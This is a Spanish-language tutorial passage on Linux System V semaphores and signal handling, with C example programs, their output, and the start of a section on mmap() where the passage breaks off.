La primera pregunta que me viene a la mente es, ¿por qué necesitamos semáforos? Una respuesta simple, para proteger la región crítica / común compartida entre múltiples procesos.
Supongamos que varios procesos están usando la misma región de código y si todos quieren acceder en paralelo, el resultado se superpone. Digamos, por ejemplo, que varios usuarios están usando una sola impresora (sección común / crítica), digamos 3 usuarios, dados 3 trabajos al mismo tiempo, si todos los trabajos comienzan en paralelo, entonces una salida de usuario se superpone con otra. Por lo tanto, necesitamos proteger eso usando semáforos, es decir, bloqueando la sección crítica cuando un proceso se está ejecutando y desbloqueando cuando termina. Esto se repetirá para cada usuario / proceso para que un trabajo no se superponga con otro trabajo.
Básicamente, los semáforos se clasifican en dos tipos:
Binary Semaphores - Solo dos estados 0 y 1, es decir, bloqueado / desbloqueado o disponible / no disponible, implementación de Mutex.
Counting Semaphores - Los semáforos que permiten el recuento arbitrario de recursos se denominan semáforos de recuento.
Suponga que tenemos 5 impresoras (para entender, suponga que 1 impresora solo acepta 1 trabajo) y tenemos 3 trabajos para imprimir. Ahora se darían 3 trabajos para 3 impresoras (1 cada una). Nuevamente llegaron 4 trabajos mientras esto estaba en progreso. Ahora, de 2 impresoras disponibles, se han programado 2 trabajos y nos quedan 2 trabajos más, que se completarían solo después de que uno de los recursos / impresora esté disponible. Este tipo de programación según la disponibilidad de recursos puede verse como un conteo de semáforos.
Para realizar la sincronización usando semáforos, los siguientes son los pasos:
Step 1 - Cree un semáforo o conéctese a un semáforo ya existente (semget ())
Step 2 - Realizar operaciones en el semáforo, es decir, asignar o liberar o esperar los recursos (semop ())
Step 3 - Realizar operaciones de control en la cola de mensajes (semctl ())
Ahora, comprobemos esto con las llamadas al sistema que tenemos.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Esta llamada al sistema crea o asigna un conjunto de semáforos del Sistema V. Deben pasarse los siguientes argumentos:
El primer argumento, clave, reconoce la cola de mensajes. La clave puede ser un valor arbitrario o uno que se pueda derivar de la función de biblioteca ftok ().
El segundo argumento, nsems, especifica el número de semáforos. Si es binario, entonces es 1, implica la necesidad de 1 conjunto de semáforos, de lo contrario, según el recuento requerido del número de conjuntos de semáforos.
El tercer argumento, semflg, especifica las banderas de semáforo requeridas como IPC_CREAT (creando semáforo si no existe) o IPC_EXCL (usado con IPC_CREAT para crear semáforo y la llamada falla, si ya existe un semáforo). También es necesario aprobar los permisos.
Note - Consulte las secciones anteriores para obtener detalles sobre los permisos.
Esta llamada devolvería un identificador de semáforo válido (utilizado para futuras llamadas de semáforos) en caso de éxito y -1 en caso de fallo. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Varios errores con respecto a esta llamada son EACCESS (permiso denegado), EEXIST (la cola ya existe no se puede crear), ENOENT (la cola no existe), ENOMEM (no hay suficiente memoria para crear la cola), ENOSPC (límite máximo de conjuntos excedido), etc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Esta llamada al sistema realiza las operaciones en los conjuntos de semáforos del Sistema V, es decir, asigna recursos, espera los recursos o libera los recursos. Se deben pasar los siguientes argumentos:
El primer argumento, semid, indica el identificador de conjunto de semáforos creado por semget ().
El segundo argumento, semops, es el puntero a una matriz de operaciones que se realizarán en el conjunto de semáforos. La estructura es la siguiente:
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
El elemento, sem_op, en la estructura anterior, indica la operación que se debe realizar:
Si sem_op es –ve, asigne u obtenga recursos. Bloquea el proceso de llamada hasta que otros procesos hayan liberado suficientes recursos para que este proceso pueda asignar.
Si sem_op es cero, el proceso de llamada espera o duerme hasta que el valor del semáforo llega a 0.
Si sem_op es + ve, libera recursos.
Por ejemplo
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
El tercer argumento, nsemops, es el número de operaciones en esa matriz.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Esta llamada al sistema realiza una operación de control para un semáforo del Sistema V. Deben pasarse los siguientes argumentos:
El primer argumento, semid, es el identificador del semáforo. Este id es el identificador de semáforo, que es el valor de retorno de la llamada al sistema semget ().
El segundo argumento, semnum, es el número de semáforo. Los semáforos están numerados desde 0.
El tercer argumento, cmd, es el comando para realizar la operación de control requerida en el semáforo.
El cuarto argumento, de tipo union semun, depende del cmd. En algunos casos, el cuarto argumento no es aplicable.
Revisemos el sindicato semun -
union semun {
int val; /* val for SETVAL */
struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
unsigned short *array; /* Buffer for GETALL and SETALL */
struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};
La estructura de datos semid_ds que se define en sys / sem.h es la siguiente:
struct semid_ds {
struct ipc_perm sem_perm; /* Permissions */
time_t sem_otime; /* Last semop time */
time_t sem_ctime; /* Last change time */
unsigned long sem_nsems; /* Number of semaphores in the set */
};
Note - Consulte las páginas del manual para otras estructuras de datos.
union semun arg; Los valores válidos para cmd son:
IPC_STAT- Copia la información de los valores actuales de cada miembro de la estructura semid_ds a la estructura pasada señalada por arg.buf. Este comando requiere permiso de lectura para el semáforo.
IPC_SET - Establece el ID de usuario, ID de grupo del propietario, permisos, etc. señalados por la estructura semid_ds.
IPC_RMID - Elimina el conjunto de semáforos.
IPC_INFO - Devuelve la información sobre los límites y parámetros del semáforo en la estructura semid_ds apuntada por arg .__ buf.
SEM_INFO - Devuelve una estructura seminfo que contiene información sobre los recursos del sistema consumidos por el semáforo.
Esta llamada devolvería un valor (valor no negativo) dependiendo del comando pasado. En caso de éxito, IPC_INFO y SEM_INFO o SEM_STAT devuelve el índice o identificador de la entrada utilizada más alta según Semaphore o el valor de semncnt para GETNCNT o el valor de sempid para GETPID o el valor de semval para GETVAL 0 para otras operaciones en caso de éxito y - 1 en caso de avería. Para conocer la causa de la falla, verifique con la variable errno o la función perror ().
Antes de mirar el código, entendamos su implementación:
Cree dos procesos, digamos, hijo y padre.
Crear memoria compartida principalmente necesaria para almacenar el contador y otras banderas para indicar el final del proceso de lectura / escritura en la memoria compartida.
Los procesos padre e hijo incrementan el contador por recuento. El recuento se pasa como un argumento de línea de comando o se toma como predeterminado (si no se pasa como argumento de línea de comando o el valor es menor que 10000). Se llama con cierto tiempo de sueño para garantizar que tanto el padre como el niño accedan a la memoria compartida al mismo tiempo, es decir, en paralelo.
Dado que el contador se incrementa en pasos de 1 tanto por el padre como por el hijo, el valor final debe ser el doble del contador. Dado que los procesos padre e hijo realizan las operaciones al mismo tiempo, el contador no se incrementa según sea necesario. Por lo tanto, debemos garantizar la finalización de un proceso seguido de otro proceso.
Todas las implementaciones anteriores se realizan en el archivo shm_write_cntr.c
Compruebe si el valor del contador está implementado en el archivo shm_read_cntr.c
Para garantizar la finalización, el programa de semáforos se implementa en el archivo shm_write_cntr_with_sem.c. Elimine el semáforo después de completar todo el proceso (después de leer desde otro programa)
Dado que tenemos archivos separados para leer el valor del contador en la memoria compartida y no tenemos ningún efecto de escritura, el programa de lectura sigue siendo el mismo (shm_read_cntr.c)
Siempre es mejor ejecutar el programa de escritura en un terminal y el programa de lectura desde otro terminal. Dado que el programa completa la ejecución solo después de que se completa el proceso de escritura y lectura, está bien ejecutar el programa después de ejecutar completamente el programa de escritura. El programa de escritura esperará hasta que se ejecute el programa de lectura y solo finalizará después de que se haya hecho.
Programas sin semáforos.
/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
Pasos de compilación y ejecución
Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Ahora, revisemos el programa de lectura de memoria compartida.
/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#define SHM_KEY 0x12345
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
int total_count;
int cntr;
int sleep_time;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Read the shared memory cntr and print it on standard output */
while (shmp->write_complete != 1) {
if (shmp->cntr == -1) {
perror("read");
return 1;
}
sleep(3);
}
printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
shmp->read_complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Pasos de compilación y ejecución
Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Si observa la salida anterior, el contador debería ser 20000, sin embargo, ya que antes de completar una tarea de proceso, otro proceso también se está procesando en paralelo, el valor del contador no es el esperado. La salida variaría de un sistema a otro y también variaría con cada ejecución. Para garantizar que los dos procesos realicen la tarea después de completar una tarea, debe implementarse mediante mecanismos de sincronización.
Ahora, revisemos la misma aplicación usando semáforos.
Note - El programa de lectura sigue siendo el mismo.
/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20
struct shmseg {
int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Pasos de compilación y ejecución
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Ahora, comprobaremos el valor del contador mediante el proceso de lectura.
Pasos de ejecución
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
UN signales una notificación a un proceso que indica la ocurrencia de un evento. La señal también se llamasoftware interrupt y no es predecible para conocer su ocurrencia, por lo que también se llama un asynchronous event.
La señal se puede especificar con un número o un nombre, normalmente los nombres de las señales comienzan con SIG. Las señales disponibles se pueden verificar con el comando kill –l (l para enumerar nombres de señales), que es el siguiente:
Siempre que se genera una señal (ya sea mediante programación o señal generada por el sistema), se realiza una acción predeterminada. ¿Qué sucede si no desea realizar la acción predeterminada pero desea realizar sus propias acciones al recibir la señal? ¿Es esto posible para todas las señales? Sí, es posible manejar la señal pero no para todas las señales. ¿Qué pasa si quieres ignorar las señales? ¿Es esto posible? Sí, es posible ignorar la señal. Ignorar la señal implica no realizar la acción predeterminada ni manejar la señal. Es posible ignorar o manejar casi todas las señales. Las señales que no se pueden ignorar ni manejar / capturar son SIGSTOP y SIGKILL.
En resumen, las acciones realizadas para las señales son las siguientes:
- Acción por defecto
- Manejar la señal
- Ignora la señal
Como se discutió, la señal se puede manejar alterando la ejecución de la acción predeterminada. El manejo de la señal se puede realizar de dos formas, es decir, a través de llamadas al sistema, signal () y sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
La señal de llamada del sistema () llamaría al manejador registrado al generar la señal como se menciona en signum. El manejador puede ser SIG_IGN (Ignorar la señal), SIG_DFL (Regresar la señal al mecanismo predeterminado) o el manejador de señal definido por el usuario o la dirección de función.
Esta llamada al sistema en caso de éxito devuelve la dirección de una función que toma un argumento entero y no tiene valor de retorno. Esta llamada devuelve SIG_ERR en caso de error.
Aunque con signal () se puede llamar al manejador de señales respectivo registrado por el usuario, no es posible realizar ajustes finos como enmascarar las señales que deben bloquearse, modificar el comportamiento de una señal y otras funcionalidades. Esto es posible usando la llamada al sistema sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Esta llamada al sistema se utiliza para examinar o cambiar una acción de señal. Si el acto no es nulo, la nueva acción de señal signum se instala desde el acto. Si oldact no es nulo, la acción anterior se guarda en oldact.
La estructura sigaction contiene los siguientes campos:
Field 1 - Handler mencionado en sa_handler o sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
El manejador de sa_handler especifica la acción a realizar en base al signum y con SIG_DFL indicando acción predeterminada o SIG_IGN para ignorar la señal o puntero a una función de manejo de señal.
El controlador de sa_sigaction especifica el número de señal como primer argumento, el puntero a la estructura siginfo_t como segundo argumento y el puntero al contexto del usuario (consulte getcontext () o setcontext () para obtener más detalles) como tercer argumento.
La estructura siginfo_t contiene información de la señal, como el número de señal que se entregará, el valor de la señal, la identificación del proceso, la identificación del usuario real del proceso de envío, etc.
Field 2 - Conjunto de señales a bloquear.
int sa_mask;
Esta variable especifica la máscara de señales que deben bloquearse durante la ejecución del manejador de señales.
Field 3 - Banderas especiales.
int sa_flags;
Este campo especifica un conjunto de banderas que modifican el comportamiento de la señal.
Field 4 - Restaurar manejador.
void (*sa_restorer) (void);
Esta llamada al sistema devuelve 0 en caso de éxito y -1 en caso de error.
Consideremos algunos programas de muestra.
Primero, comencemos con un programa de muestra, que genera una excepción. En este programa, estamos tratando de realizar una operación de división por cero, lo que hace que el sistema genere una excepción.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Pasos de compilación y ejecución
Floating point exception (core dumped)
Por lo tanto, cuando intentamos realizar una operación aritmética, el sistema ha generado una excepción de punto flotante con el volcado de núcleo, que es la acción predeterminada de la señal.
Ahora, modifiquemos el código para manejar esta señal particular usando la llamada al sistema signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Pasos de compilación y ejecución
Received SIGFPE, Divide by Zero Exception
Como se discutió, las señales son generadas por el sistema (al realizar ciertas operaciones como dividir por cero, etc.) o el usuario también puede generar la señal mediante programación. Si desea generar una señal mediante programación, use la función de biblioteca raise ().
Ahora, tomemos otro programa para demostrar cómo manejar e ignorar la señal.
Supongamos que hemos emitido una señal usando raise (), ¿qué sucede entonces? Después de subir la señal, se detiene la ejecución del proceso actual. Entonces, ¿qué pasa con el proceso detenido? Puede haber dos escenarios: primero, continúe la ejecución cuando sea necesario. En segundo lugar, finalice (con el comando kill) el proceso.
Para continuar la ejecución del proceso detenido, envíe SIGCONT a ese proceso en particular. También puede emitir comandos fg (primer plano) o bg (segundo plano) para continuar la ejecución. Aquí, los comandos solo reiniciarían la ejecución del último proceso. Si se detiene más de un proceso, solo se reanuda el último proceso. Si desea reanudar el proceso detenido anteriormente, reanude los trabajos (utilizando fg / bg) junto con el número de trabajo.
El siguiente programa se usa para elevar la señal SIGSTOP usando la función raise (). La señal SIGSTOP también se puede generar presionando la tecla CTRL + Z (Control + Z) por parte del usuario. Después de emitir esta señal, el programa dejará de ejecutarse. Envíe la señal (SIGCONT) para continuar la ejecución.
En el siguiente ejemplo, reanudamos el proceso detenido con el comando fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Pasos de compilación y ejecución
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Ahora, mejore el programa anterior para continuar la ejecución del proceso detenido emitiendo SIGCONT desde otro terminal.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Pasos de compilación y ejecución
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
En otra terminal
kill -SIGCONT 30379
Hasta ahora, hemos visto el programa que maneja la señal generada por el sistema. Ahora, veamos la señal generada a través del programa (usando la función raise () o mediante el comando kill). Este programa genera la señal SIGTSTP (terminal stop), cuya acción por defecto es detener la ejecución. Sin embargo, dado que estamos manejando la señal ahora en lugar de la acción predeterminada, llegará al controlador definido. En este caso, solo estamos imprimiendo el mensaje y saliendo.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Pasos de compilación y ejecución
Testing SIGTSTP
Received SIGTSTP
Hemos visto casos en los que se realiza una acción predeterminada o se maneja la señal. Ahora es el momento de ignorar la señal. Aquí, en este programa de muestra, estamos registrando la señal SIGTSTP para ignorar a través de SIG_IGN y luego estamos elevando la señal SIGTSTP (terminal stop). Cuando se genere la señal SIGTSTP, se ignorará.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Pasos de compilación y ejecución
Testing SIGTSTP
Signal SIGTSTP is ignored
Hasta ahora, hemos observado que tenemos un manejador de señales para manejar una señal. ¿Podemos tener un solo controlador para manejar múltiples señales? La respuesta es sí. Consideremos esto con un programa.
El siguiente programa hace lo siguiente:
Step 1 - Registra un controlador (handleSignals) para capturar o manejar señales SIGINT (CTRL + C) o SIGQUIT (CTRL + \)
Step 2 - Si el usuario genera la señal SIGQUIT (ya sea mediante el comando kill o el control del teclado con CTRL + \), el controlador simplemente imprime el mensaje como retorno.
Step 3 - Si el usuario genera la señal SIGINT (ya sea mediante el comando kill o el control del teclado con CTRL + C) la primera vez, entonces modifica la señal para realizar la acción predeterminada (con SIG_DFL) la próxima vez.
Step 4 - Si el usuario genera la señal SIGINT por segunda vez, realiza una acción predeterminada, que es la terminación del programa.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Pasos de compilación y ejecución
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Otra terminal
kill 71
Segundo método
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Sabemos que para manejar una señal, tenemos dos llamadas al sistema, es decir, señal () o sigaction (). Hasta ahora hemos visto con la llamada al sistema signal (), ahora es el momento de llamar al sistema sigaction (). Modifiquemos el programa anterior para que funcione con sigaction () de la siguiente manera:
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Veamos el proceso de compilación y ejecución. En el proceso de ejecución, veamos emitir CTRL + C dos veces, comprobaciones / formas restantes (como arriba) que también puede probar para este programa.
Pasos de compilación y ejecución
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
La llamada al sistema mmap () proporciona un mapeo en el espacio de direcciones virtuales del proceso de llamada que mapea los archivos o dispositivos en la memoria. Esto es de dos tipos:
File mapping or File-backed mapping- Este mapeo asigna el área de la memoria virtual del proceso a los archivos. Esto significa que leer o escribir en esas áreas de la memoria hace que el archivo se lea o escriba. Este es el tipo de mapeo predeterminado.
Anonymous mapping- Este mapeo mapea el área de la memoria virtual del proceso sin respaldo de ningún archivo. El contenido se inicializa a cero. Esta asignación es similar a la asignación de memoria dinámica (malloc ()) y se utiliza en algunas implementaciones de malloc () para determinadas asignaciones.
La memoria en un mapeo de proceso puede compartirse con mapeos en otros procesos. Esto se puede hacer de dos formas:
